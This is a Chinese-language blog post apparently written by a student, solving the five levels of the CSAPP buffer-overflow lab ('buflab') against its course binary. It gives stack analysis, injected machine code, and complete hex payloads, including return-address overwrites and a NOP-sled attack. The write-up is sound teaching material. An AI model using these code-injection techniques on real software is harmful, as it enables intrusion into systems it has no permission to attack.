CSAPP緩衝實驗buflab

Broken__Ice發表於2020-12-26

這個實驗也比較有意思,雖然我是跟著老師給的參考答案手把手做的,緩衝攻擊成功的時候還是很有成就感,就是可惜沒有和炸彈實驗一樣的隱藏關了

緩衝實驗一共5個關卡,具體的實驗細節在實驗說明的pdf中有講,大概就是通過利用一個緩衝區溢位的bug來對一個二進位制程式進行攻擊,改變它的行為(外掛初級?)

檔案輸入

因為我們要通過二進位制程式來進行攻擊,因此我們所寫的程式需要被轉成2進位制
實驗說明pdf中給出了實驗中可以採用的進位制轉換方式:

linux> ./hex2raw < 輸入檔案

本實驗通過一個uid來實現不同性,cookie會根據uid來生成,目的應該是為了避免copy抄襲法
程式碼執行方式:

linux> ./bufbomb -u uid < 轉二進位制之後的輸入檔案

為了方便執行,我通常合併操作:

linux> ./hex2raw < 輸入檔案 | ./bufbomb -u uid

或者

linux> cat 輸入檔案 | ./hex2raw | ./bufbomb -u uid

level0 : Candle

首先我們從pdf中知道level0的呼叫的程式碼原始碼
level0_1
level0_2
level0_3
我們的目標是改變test函式的返回值,進入smoke函式
於是我們檢視test中呼叫輸入的getbuf函式
level0_4
發現是輸入一個長不超過32的字串
我們檢視getbuf的彙編程式碼
level0_getbuf
可以發現是將字串放在長為40個位元組的空間中,而返回的舊ebp在原棧頂,即現在的ebp+4的位置,於是我們只需輸入44個字元長的後面再跟上smoke的返回地址0x08048e0a即可

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0a 8e 04 08

但是執行並未成功
level0_result1
發現是因為0a對應ASCII中的’\n’,正好觸發了Gets函式的結束條件,因此我們修改成地址0x08048e0b進入smoke函式

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08

緩衝攻擊成功。
level0_result2

level1 : Sparkler

我們從pdf可以得知,這次與level0類似,但是要求我們在getbuf攻擊後進入fizz函式,並且傳入我們的cookie值
level0_1
fizz函式彙編程式碼
level0_fizz
我們可以看到在fizz中,所傳入的cookie值在ebp+0x8的位置,即在傳入fizz地址的後8個位元組
我的uid為對應cookie值0x22b04af1,於是輸入值

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
00 00 00 00 f1 4a b0 22

測試成功
level1_result

level2 : Firecracker

要求我們自進行getbuf後跳入bang函式而不返回test函式
bang函式c程式碼
level2_1
我們知道是要修改其中的global_value,所以我們檢視對應彙編
level2_bang
圈出的這條語句很可疑,在gdb除錯中檢視對應地址0x804d10c的值,果然是我們要的global_value,同理我們可以發現0x804d104地址的值是我們的cookie
level2_global_value
這一次我們要修改的返回地址應該是bang函式的地址0x8048d52,然後在攻擊進入bang函式後,可以通過修改執行地址的機器碼來改變操作
level2_gdb1
我們考慮在bang前執行如上語句,修改global_value值而保證global_value的值與cookie必然相等,且使用objdump對參考程式進行反彙編
找到對應指令

a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3

那麼之後首先要做的就是修改getbuf之後返回的地址,我們要到我們可修改的執行地址,也就是在執行中我們的buf陣列的執行地址,在gdb斷點除錯中可以找到是0x556837c8
level2_gdb2
然後我們讓其回到我們設定的機器碼執行完後,就可以push函式bang的地址進棧然後返回,從而進入bang函式了
因此我們的輸入檔案應該是

a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 
c8 37 68 55

測試成功
level2_result

level3 : Dynamite

這一次我們的任務是修改getbuf函式的返回值為我們的cookie
那麼不難想到我們要做的與上一個相類似,首先將getbuf的返回地址改為buf的執行地址,然後通過輸入的機器碼執行一段指令,然後返回test函式
在上一題我們已經得到cookie地址0x804d104buf執行地址0x556837c8
我們要回到test函式在getbuf後的地址,通過檢視彙編可以得知對應地址為0x8048e50
level3_test
首先確定我們定義的操作

mov 0x804d104, %eax
push 0x8048e50
ret

其機器碼為

a1 04 d1 04 08
68 50 8e 04 08
c3

同時我們要保證之前存在ebp的舊ebp沒有改變
level3_gdb1
通過gdb看到舊ebp為0x55683820
因此我們的輸入檔案應該是

a1 04 d1 04 08
68 50 8e 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00
20 38 68 55
c8 37 68 55

測試成功!
level3_result

level4 : Nitroglycerin

在這裡我們輸入引數-n,使得函式不執行getbuf,而是執行buf空間更大的getbufn
我們檢視getbufn的彙編程式碼
level4_getbufn
可以看到他預留了520個位元組的位置給輸入,也就是說我們修改的返回地址應該在525到528個位元組的位置。
然後我們需要返回到testn函式,並且返回我們的cookie
由於getbufn反覆呼叫五次,其棧空間並不是固定的,因此我們要找到返回地址與他之間的關係。
level4_gdb1
level4_gdb2
level4_gdb3
level4_gdb4
level4_gdb5
上面是5次呼叫時getbufn的ebp地址、buf地址和testn的ebp地址
可以看到他們之間滿足一個關係式
level4_formula
第二個式子毫無疑問,而第一個式子顯然揭示了testngetbufn的ebp間的關係
再看testn的彙編程式碼
level4_testn
testn中ebp儲存在esp+0x28的位置,也就是getbufn的ebp+0x30的位置,與上面的相符合,因此在getbufn返回並進入我們的設定的執行地址後,只要leal 0x28(%ebp),%ebp就可以將保證回到testn後我們的ebp不會變化。
所以我們就是要改變getbufn的返回地址到我們buf的執行地址,執行我們所需要的操作碼後回到testn函式的下一步操作
level4_gdb6
對應機器碼

8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3

但是因為buf的執行地址也會變化,我們不能準確尋找到buf,因此我採用一種方法,就是將之前填為00的任意值,都換成填入90,90對應nop,即不進行任何操作,然後在我們輸入的字串最後執行需要的操作。因此我們返回到的地方應該是buf會到的最高的地址,即0x55683648,從而保證從其走上去必定是nop
因此我們設定程式碼

90 * 509 #509個重複的90
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3

執行測試成功!
level4_result

實驗結果:
level0:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08

level1:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
00 00 00 00 f1 4a b0 22

level2:

a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00
c8 37 68 55

level3:

a1 04 d1 04 08
68 50 8e 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00
20 38 68 55
c8 37 68 55

level4:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3
48 36 68 55

相關文章